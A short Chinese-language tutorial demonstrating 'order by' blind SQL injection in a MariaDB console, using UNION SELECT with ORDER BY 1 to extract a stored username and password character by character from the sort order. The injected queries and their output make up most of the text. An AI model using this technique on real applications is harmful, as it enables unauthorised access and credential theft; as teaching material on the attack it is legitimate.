order by盲注

正常查询，（数据库随便找的）

  1. MariaDB [test]> select * from test1 where username='vampire';
  2. +---------------------------+-------------+
  3. | username                  | password    |
  4. +---------------------------+-------------+
  5. | vampire                   | mypassword  |
  6. | vampire                   | random_pass |
  7. +---------------------------+-------------+
  8. 2 rows in set (0.001 sec)

order by注入

  1. MariaDB [test]> select * from test1 where username='vampire' union select 1,2 order by 1;
  2. +---------------------------+-------------+
  3. | username                  | password    |
  4. +---------------------------+-------------+
  5. | 1                         | 2           |
  6. | vampire                   | random_pass |
  7. | vampire                   | mypassword  |
  8. +---------------------------+-------------+
  9. 3 rows in set (0.001 sec)

order by 1的意思就是以第一列为根据排序，用脚本遍历第一列，遍历到w字符时，查询结果如下：

  1. MariaDB [test]> select * from test1 where username='vampire' union select 'w',2 order by 1;
  2. +---------------------------+-------------+
  3. | username                  | password    |
  4. +---------------------------+-------------+
  5. | vampire                   | random_pass |
  6. | vampire                   | mypassword  |
  7. | w                         | 2           |
  8. +---------------------------+-------------+
  9. 3 rows in set (0.001 sec)

可以发现查询结果发生了变化，接着查询第二个字符

  1. MariaDB [test]> select * from test1 where username='vampire' union select 'va',2 order by 1;
  2. +---------------------------+-------------+
  3. | username                  | password    |
  4. +---------------------------+-------------+
  5. | va                        | 2           |
  6. | vampire                   | random_pass |
  7. | vampire                   | mypassword  |
  8. +---------------------------+-------------+
  9. 3 rows in set (0.002 sec)
  11. MariaDB [test]> select * from test1 where username='vampire' union select 'vb',2 order by 1;
  12. +---------------------------+-------------+
  13. | username                  | password    |
  14. +---------------------------+-------------+
  15. | vampire                   | random_pass |
  16. | vampire                   | mypassword  |
  17. | vb                        | 2           |
  18. +---------------------------+-------------+
  19. 3 rows in set (0.002 sec)

以此类推，通过网页返回的结果，就可以成功爆破出正确的用户名和密码。